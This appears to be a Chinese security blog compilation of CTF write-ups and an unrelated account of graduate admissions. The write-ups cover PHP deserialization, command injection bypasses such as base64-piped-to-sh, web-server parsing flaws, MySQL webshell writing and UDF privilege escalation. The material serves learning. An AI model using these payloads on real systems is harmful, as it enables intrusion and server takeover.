0%

python文件反编译

1
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000

使用010editor编辑,paste from hex,然后另存为1.pyc。
python安装uncompyle , pip install uncompyle
下面就是 uncompyle 1.pyc>1.py

1
2
3
4
5
6
7
8
9
def flag():
str = [
102, 108, 97, 103, 123, 51, 56, 97, 53, 55, 48, 51, 50, 48, 56, 53, 52, 52, 49, 101, 55, 125]
flag = ''
for i in str:
flag += chr(i)

print flag
flag()

运行即可获得flag

base64隐写

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res


def solve_stego():
with open('1.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print goflag(bin_str)


def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str


if __name__ == '__main__':
solve_stego()

直接输入base64隐写后的内容即可

最近对反序列化产生了一些兴趣,所以开此篇内容记录所遇到的反序列化的问题。

安洵杯 easy_serialize_php

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

题目分析

大概的流程是从浏览器接受GET方式的function,根据提示在phpinfo里面有东西。

进入phpinfo后搜索得到 d0g3_f1ag.php这个文件,于是猜测需要通过反序列化构造执行至程序最后一行的file_get_contnets().

那么看file_get_contents()是对 经过滤后、序列化后的serialize_info的反序列化取其img属性的结果。

先不管正则过滤,我们的目的是构造一个输入,让img的value为base64加密后的d0g3_f1ag.php。

目标结果如下:

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

但是正常输入的话我们是无法绕过 img_path 的判定的。

所以这里根据过滤入手,根据正则表达式以及preg_repace我们可以知道,将一些关键字替换成了无,即去掉。

这里我们可以使用POST方法,对_SESSION[]数组传参,传入的key为黑名单的值,这样在序列化完之后会吃掉该key的部分value。

听不懂正常,一开始我也听不懂,我就不像其他博主一样给你用不同的颜色标出来哪里是吃掉的部分了。

首先要了解php序列化后的语法(这里不赘述)

我们先随便写写,先POST个_SESSION[flag]=s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

看看结果是什么(把代码拷贝到本地,然后本地运行,echo或者var_dump出来序列化后的结果):

a:2:{s:4:””;s:39:”s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

但是这样是不能正常反序列化的,因为不符合反序列化的语法规则。根据语法规则知道,如果我们想让img作为key,base64加密后的东西作为value的话,需要让上一个对象是正常的,符合序列化后的字符串的语法。

从前往后看,第一个对象的key为“;s:,这样会导致后面的字符串无法正常地反序列化。

所以,接下来需要做的是先把第一个对象的key和value补全,让其能正常地反序列化。

补全第一个key的话,需要让第一个key为“;s:39:”,所以需要在POST里面传入_SESSION[flagflag],这样能吞掉八个位置。正好能让本段话加粗的内容作为第一个key(这里建议自己写写试试,看看是否符合反序列化语法的规则。)

补全之后请大家自己var_dump或者输出,我这里不会给出补全后输出的序列化结果。

补全后发现,第一个对象可以正常序列化了,但是问题就是第二个对象的key成了第一个对象的value。

所以这里需要给第一个对象补个key,给_SESISON[flagflag]继续传值就可以,具体传什么,为什么要这样传,我也不会说。总之我们的目的是传一个符合序列化格式的value,并且传入后也需要让前后都符合序列化格式。

随便写一个就好 比如 s:3:”aaa”;

首先你把他写进去,然后根据序列化格式在前后添加相关符号。连同刚才写的s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}一起就是_SESSION[flagflag]= s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

现在放进去看看是什么效果。是否能够正常反序列化

a:2:{s:8:””;s:46:”s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

这样发现还是不能正常地反序列化,因为不符合语法。在s:3前缺少上一个字段的闭合”; 加上就好。

所以最终的payload就是

_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

打过去后查看源码,发现

1
2
3
4
5
<?php

$flag = 'flag in /d0g3_fllllllag';

?>

下面继续打对应的文件就好了~

_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

打进去即可获得一枚flag。

致谢

https://www.cnblogs.com/Cl0ud/p/12585242.html

题目分析

打开题目,观察URL为http://31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

于是猜测有个文件读取和命令执行,但是文件读取的格式是加密的,考虑base64解密,解密两次后再hex2ascii,可以得到文件名。

copy大佬的脚本,输入文件名即可得到根据此加密规律加密后的文件名:

1
2
3
4
5
6
7
8
import binascii
import base64
filename = input().encode(encoding='utf-8')
hex = binascii.b2a_hex(filename) #b2a是返回二进制数据的16进制表示
print(hex)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode())

输入index.php后可以得到index.php文件名的加密后的名字,放到img里面查看源代码为base64加密的,把base64解密后即可得到index.php的源代码

index.php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo "success";
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<body>
</body>
</html>

对源码进行审计,重点在命令执行部分。

命令执行有很多过滤,这里过滤不完全(正则表达式有待学习),可用ca\t%20fl\ag绕过。

在命令执行前需要满足

1
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

这里可以考虑fastcoll构造两个hash值相同的二进制文件。

我这里构造好了,具体的使用方法可以百度fastcoll。

使用该软件构造好后,使用如下php脚本可以获得urlencode后的md5值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制hash '. md5( (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("1.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5(urlencode (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo '二进制hash '.md5( (readmyfile("2.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("2.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5( urlencode(readmyfile("2.txt")));
echo "<br><br>\r\n";

下面将这两个MD5值分别给POST的a和b赋值,同时URL的?cmd=ca\t%20fl\ag

这里我踩了个坑,一开始是GET方式提交请求,然后手动改方法为POST,一直不能成功,后来发现可能是某些请求头的问题,我这里用hackbar发送POST请求,请求体随便写,在BP里面抓包,将请求体的内容改成a和b的值,在此之后即可愉快地命令执行。

payload:

1
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%23%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%09s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%88%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6G%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99%E4%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%5C%2A%9A%E7%CC&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%A3%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%89s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%08%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6%C7%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99d%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%DC%2A%9A%E7%CC

请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ca\t%20/fl\ag HTTP/1.1
Host: 31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn
Content-Length: 1029
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%23%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%09s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%88%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6G%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99%E4%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%5C%2A%9A%E7%CC&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%A3%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%89s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%08%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6%C7%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99d%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%DC%2A%9A%E7%CC

响应包如下图:

总结

好久没刷web了,太菜了,这道题一开始没思路,看着师傅们的wp复现出来的,踩坑踩了大概一个小时。

写在前面

组委会太逆天了,pwn环境挂了,群里没人理的

web

进入首页有个提示,查看源码后psw.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
highlight_file( __FILE__ );
function encode($string,$option='encode'){
if ($option=='encode') {

$lenght=strlen($string);

for ($x=0;$x<$lenght;$x++) {

@$tmp=substr($string,$x,1);

$ord=ord($tmp)+10;

@$result=$result.chr($ord);
}
echo $result.'</br>';



}elseif($option=='decode'){


}
}
encode('_Y^kdg_k','decode');
?>

把这段代码放到本地用phpstudy跑起来,最后调用时decode换成encode,跑出来个密码,为ichunqiu,输入到首页即可获得flag

misc

一张图片,直接stegsolve

往右点,有一张二维码

扫下来base32解密即可得到flag。

写在前面

现在是2020年10月12日下午18点19分,我于今天上午收到了来自电子科技大学的录取通知,确定后,意味着保研之旅正式结束。

在这长达一年的准备时间里,感谢父母、家人、学校、学院对我的支持,感谢保研前辈对我的指点,感谢朋友们为我提供信息,加油鼓劲。

夏令营和预推免情况

夏令营申请学校:30+所985,211学校,只有山大、中海洋、中央财经、国防科大电子对抗学院通过了初审。

夏令营通过学校:中海洋专硕、国防科大电子对抗学院 网络安全 学硕,其中拒绝了中央财经的面试。

预推免申请学校:山大、天大、电子科大、西北工业大学、哈工大、复旦、西电等。

预推免通过学校:山大网安学硕、天大网安学硕、电子科大网安学硕(其中拒绝了西北工大、西电面试)

最终去向:电子科技大学-计算机学院-网络空间安全-学硕 ,张小松教授团队 ,研究方向:云计算与IOT安全。

个人情况介绍

背景简述

GPA:4.1/5.0(专业1/49); CET-4:540; CET-6:548;

一篇国家级普刊,美赛一等奖,蓝桥杯省二,两次校一等奖学金、山东省政府奖学金、数次CTF竞赛经历。

一段专业短期实习经历,两个小项目。(全部专业高度相关)

详细介绍

我来自山东省一所一本学校——曲阜师范大学,本科背景通俗地讲叫做“双非”。

我自初中起对网络安全技术感兴趣,一直在断断续续地摸索,大学选择了软件工程专业,算是正式进入计算机行业科班。

大一没有特别认真学习,GPA为3.8/5,暑假有一段香港访学经历,无校级以上奖项。

大一从香港回来后,励志去港校,经咨询后GPA对我来说至少要4以上,于是大二开始每天认真学习专业知识,泡自习室。大二通过了四六级考试,四级540,六级第一次501。拿到了蓝桥杯编程山东省二等奖(水),随师哥去外省参加了两次CTF线下赛(划水),没什么成绩。大二最终GPA为4.01,大二学年GPA为4.32,全年级最高。

大三在师哥的建议下决定尝试保研,于是开始从公众号了解相关政策信息,一开始也是懵懂无知的状态,知道了需要准备简历、项目、竞赛、论文、四六级。

保研准备

大三上学期通过了六级考试,在严格的模拟训练下拿到了548分,还算满意。由于疫情原因在家耽误了一段时间,过年那段时间主要在家学保研课,了解如何写个人简历、自我介绍、自我陈述、学校申请等相关流程。

2020年2月份与两位数学的队友一起参加了美国大学生数学建模竞赛,我基本负责除了写论文和建模外的其他内容。(我是辅助),最终拿了国际一等奖的成绩,这与我两位队友的努力是分不开的,致谢。

2020年2月份大致准备好了简历、自我介绍(中英文,长短各一份,共四份)、个人陈述、推荐信、证书证件扫描等文书工作。简历的完善工作一直到最后一次面试前,约四五十次大大小小的修改吧。

2020年三月份成功投稿了我在一月份开始写的一篇期刊,投稿至国家级普刊,期间学习了很多知识。

2020年三月开始正式打CTF、学习CTF知识,写博客。

2020年4月完成了基于flask框架的图书管理系统(一个很小的项目,总共就四五百行代码)四月份开始了解专业前景,向各位前辈以及知乎、交流群里打听专业强校、强老师。

2020年5月完成了基于Nmap和Masscan扫描器的Web扫描器,并改进了CTF-wscan扫描器(主要是优化了多线程与重复扫描问题,当然目前还存在一些bug)。五月份开始联系导师,其中有一位南方学校的老师为我提供了一次宝贵的实习机会。在此向魏老师致谢。

2020年6月在老师的推荐下赴广州进行实习,职位是渗透测试工程师。两个月的实习期间主要是学会了一些思路与工具,收获了一些好友与人脉。期间也在不断地投递简历与联系老师。六月底通过了中海洋、山大的初审。

2020年7月拿到了中海洋优营,国防科大电子对抗学院录取范围第二名,参加电子科技大学导师团队面试并通过,与此同时继续实习。

2020年8月通过了深信服北京安全研发中心实习生两轮技术面,因学校时间冲突原因放弃hr面。

2020年9月通过北京hw蓝队面试,薪资是最低的1.3k一天包吃住(彩笔)、通过了天大复试,拿到了学硕offer

2020年10月通过电子科大、山大复试,拿到本校推免资格,拿到学硕offer并上岸。

劝告

保研是一场信息战,但要学会如何获取有用、有价值的信息,学会交朋友,有时候外校朋友的信息能决定你的命运

联系老师很重要,你会发现我所有入营且拿到offer的学校都提前联系了老师。

夏令营面经

由于夏令营都在卷,入营非常少,山大是报名的全入营了,没有参考价值。

下面按照时间顺序来说

中国海洋大学 信息学院

中海洋第一个面试,我提前联系了老师,老师人很好,在信息学院做安全算是比较好的老师了,邮件联系后,正好老师负责夏令营审批,给了我入营资格。今年中海洋计算机夏令营初审报了四百多,可想而知。

在入营后有一个热身活动,选定一个方向以及问题,对这个问题展开研究并写论文和ppt录屏五分钟内汇报。我选的是系统安全的问题,meltdown,防御方法有KASLR等。

面试前一晚有个机试,据说机试不算成绩里面,但是面试官会有机试的成绩。大概题目都是些比较简单的格式输入输出,算平均分之类的,最后一个是类似矩阵转置输出。。没写上来草。

面试大概是上来先抽题 我抽到了简述计算机网络OSI七层模型,然后就是老师提问,问我极限编程的概念。。。不会;问我MIPS了解多少。。。不会;问我ACID ,说了AID忘了C的含义是啥了。。。尴尬;最后等了一周给了专硕。

山东大学 网络空间安全学院

SDU网安是我比较想去的一个学校,有想跟的老师,可惜那位老师不要我,当然,还有一位想跟的老师,那位老师人很好,我也提前和他联系了。

夏令营山大网安面试120个人收17个优营,包括6个左右的本校..

面试当天问我对密码学有多少了解,我说了解过对称、非对称加密,在蚁剑加密流量分析中用过。然后问我了解过哪些系统安全方面的漏洞,我说meltdown,我说本科主要是做web方向,老师说希望我以后多了解系统安全的知识。(其他细节记不太清了 夏令营印象不是太深刻)

最后优营当然没我啥事

国防科技大学 电子对抗学院

NUDT电抗我先联系了一位教授,如沐春风的感觉,给人一种和蔼可亲的感觉,在和地方生学长交流的时候得知该老师水平很高,要求严格,不缺学生,我也很荣幸他能相中我。

在面试的时候设备问题,一直吱吱啦啦对面听不清,进行英文自我介绍的时候被迫叫停。后面简单问了问项目、实习和美赛经历,重点问了美赛里面我承担的工作,并问了主要是谁翻译的。

最后考核结果夏令营录取名额网安为10个,我排第二,免预推免复试。

中央财经大学 信息学院

没去面试

西北工业大学 网络空间安全学院

没去面试

预推免面经

预推免的bar明显低了不少。

电子科技大学 导师面试

电子科技大学在七月下旬提前联系导师,参加了导师团队面试。一共大概三四位老师,首先用中文简单地介绍了自己,问我的项目写了多少行代码,是不是自己写的,问我的扫描器能否在扫描速度很快的情况下扫描完所有目标URL,问ZOOMEYE\FOFA\SHODAN等空间测绘引擎的区别是什么(主要看着简历问),问了问我美赛的获奖比例以及负责的工作。最后问了我校是否985211,数小时后被通知通过团队面试,经过学院面试后可直接报老师。

天津大学 智能与计算学部

天大我先联系了一位老师,这位老师的研究方向和我非常符合,老师也很明确地想要我,但是夏令营卡985211,所以我没进去,等预推免才进去的。

面试首先是一分钟的英文自我介绍,介绍过后讲一下自己准备的PPT(可以中文再介绍一下)然后讲一个你认为最重要的项目(我当时听错了,我以为是不限科研经历,只限一个项目,所以我一共讲了三个,面试老师有些不太高兴),最后问了问我的论文是怎么写的,创新点在哪里。结束面试

最后给了网安学硕,非常非常感谢许老师。

山东大学 网络空间安全学院

和老师联系过后我觉得去山大专硕还是比较有希望的,于是报了山大的预推免,比较晚,面试在8号。

面试首先是一轮拷问,还是问我美赛负责的工作、问我本科做什么方向,说我本科打web,研究生方向不太一样。然后有个老师用英文让我描述一下我的数据可视化项目,还有一位老师问了KASLR的作用以及原理。。原理没说上来,还是这位老师,问了我的论文创新点在哪里,有没有自己的新东西….一针见血。。果然不一般。

最后想着能有专硕就行了,结果老师帮我递补了学硕,感谢sdu,感谢郭老师。

电子科技大学 计算机科学与工程学院

UESTC是我最后一战,非常紧张。

面试首先是三分钟的PPT自我介绍,介绍了学术背景、科研经历、项目经历。

然后是抽题 ,抽到的题是描述算法,如何找出两个stirng的公共字符。

接下来是英文问题,describe a project 和 why choose our school?

都比较简单,老考点了。

下面就开始拷问了,专业知识问了软件测试的四个过程,黑盒测试和白盒测试的区别,因为我本科是软件工程,问我凭什么报信息安全(?)我说我自己本科主动学习相关知识等。

安全开发的经历、这个短期实习你觉得你都收获了什么东西?

美赛主要负责哪些内容?

接下来老师问我更偏向纯技术还是部分技术+social,我选择了前者。

最后老师问我目前的主攻方向是什么,我BB了一堆打太极,最后老师又问,我破防了,遂说Web安全/渗透测试。

总结

保研既有实力也有运气,祝大家好运。

不能保证好运的前提下请尽量提升自我,因为在面试中不一定会遇到什么问题,请完善简历,务必对简历上的每一个问题都熟悉。

当你觉得晚了的时候开始,恰恰是最早的时候,现在开始,一切不晚

学会社交,学会问问题,学会和老师沟通交流,决定鸽的时候要尽量尽早,就算不能早鸽也一定提前和老师说明情况,大多数老师会理解。一定处理好和学校的关系,这不仅关乎你,更关乎你的学弟学妹。

联系方式

个人VX:ab444o 欢迎师弟师妹交流保研相关问题~

参考链接:
https://www.jianshu.com/p/a1fa305a6b8f

IIS5/6解析漏洞

目录解析:在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行。
比如 www.baidu.com/1.asp/1.jpg
文件解析:在IIS6.0下,分号后面的不被解析,也就是说6.0下,分号后面的不被解析,也就是说xx.asp;.jpg将被当做xx.asp解析并执行。
http://www.xxx.com/xx.asp;.jpg
IIS6.0 默认的可执行文件有asp、asa、cer、cdx四种。

IIS 7.0/IIS 7.5/ Nginx <0.8.3畸形解析漏洞

在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.PHP会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

Nginx <=0.8.37 解析漏洞

00截断
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

Apache 解析漏洞

后缀解析:test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3 则会被解析为php

页面给了个ip,考虑ping命令的命令执行。
这里过滤的内容比较多,过滤了空格,而且有些空格绕过方法也用不了。
这里绕过空格用的是$IFS$9
接下来尝试cat flag
flag字段也被过滤了,尝试使用通配符也不行,*也不行,[]符号也被过滤了。
接下来尝试base64编码。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 可行
还有一种方法是cat 反引号里面的内容--- 或$() 会引用命令被执行后的结果。
?ip=127.0.0.1;cat$IFS$9ls
还有一种方法就是拼接:
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
这样也可以绕过。
补充空格绕过:{cat,1.txt}
关键字过滤绕过:反斜杠 ca\t、变量代换、编码、 echo xxxx | base64 -d|sh/bash、引号c’a’t
命令分隔与执行多条命令
1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

本文不间断地记录面试遇到的问题,希望能对自己有个警醒,对后辈有所作用。

MySQL写Webshell的条件

1.知道网站绝对路径
2.有对网站绝对路径的写权限 select @@basedir;
3.没有配置secure_file_priv 或者其为空
4.GPC关闭(默认关闭)
secure_file_priv已经设置的话,可以通过修改日志文件到网站根目录,然后通过包含的方式写shell
流程:
首先找到日志存放位置:
接下来设置general_log 为on:set global general_log = on;
接下来把日志文件修改为网站绝对目录下的某个文件 比如set global general_log_file =’/var/www/html/shell.php’;
接下来select 即可记录到日志文件中,在URL中访问日志文件即可。
这里需要注意一个问题,如果目标站点数据库访问频繁的话可能日志文件会很大,连shell会很卡,所以拿到该shell后重新再传一个隐蔽点的shell,再把日志文件改回去,关闭日志记录的功能。

mysql常用查询

select @@version; 查询数据库版本
select @@basedir; 查询MYSQL安装路径
select @@plugin_dir ; 查看plugin路径
select host, user, password from mysql.user; 查询hash (MySQL <= 5.6 )
select host, user, authentication_string from mysql.user; 查询hash (MySQL >= 5.7 )
select @@version_compile_os,@@version_compile_machine; 查询当前操作系统

写shell的几种方式

Union select

union select ‘‘ into outfile /var/www/html/shell.php#

lines terminated by

select * from phpcmsv9.v9_admin_role where roleid = 1 into outfile ‘C:/wamp64/www/work/webshell.php’ lines terminated by ‘‘;
原理:
通过select语句查询的内容写入文件,也就是 1 into outfile ‘C:/wamp64/www/work/webshell.php’ 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

lines starting by

类似lines terminated by

fields terminated by

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

columns terminated by

如上同理

sqlmap写webshell

类似上述Mysql写webshell,不过更自动化了,使用命令为 mysql -u url –os-shell,要求同上–目录可写,关闭gpc,绝对路径,ban secure_file_priv

mysql UDF提权

参考链接:
https://blog.csdn.net/qq_26406447/article/details/102691188
https://www.jianshu.com/p/5b34c1b6dee7
什么是UDF?
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过动态库方式实现
首先通过注入获取mysql账号密码

1
2
3
4
//MySQL 5.6 and below
select host, user, password from mysql.user;
//MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

有列数限制的话就group_concat(c1,c2,c3 separator ‘-‘)
拿到密码后去搜一下md5值。。这里默认root root
然后远程连接mysql
看一下secure_file_priv
接下来就把对应mysql版本的dll文件传上去 位数查看命令:show variables like ‘%version_%’;,位数不对使用dll文件的时候会报错!!!一定注意
我这里是64位,就传64位的了,传之前需要用sqlmap的dll,但是异或编码,需要解码,解码也在sqlmap里面。
python cloak.py -d -i …/64/lib_mysqludf_sys.dll_
解码后上传到数据库对应的位置里面去
这里我上传出了点问题,太离谱了。
我不太会用loadfile,所以把文件通过010editor,转为16进制导出,然后在notepad去掉空格和换行符(匹配’\r\n’),然后
select unhex(‘data’) into dumpfile ‘path/plugin/udf.dll’
接下来,create function sys_eval returns string soname “udf.dll”;
之后就可以愉快地在mysql里面使用系统权限执行命令了。

小知识:

常见的Linux发行版本:
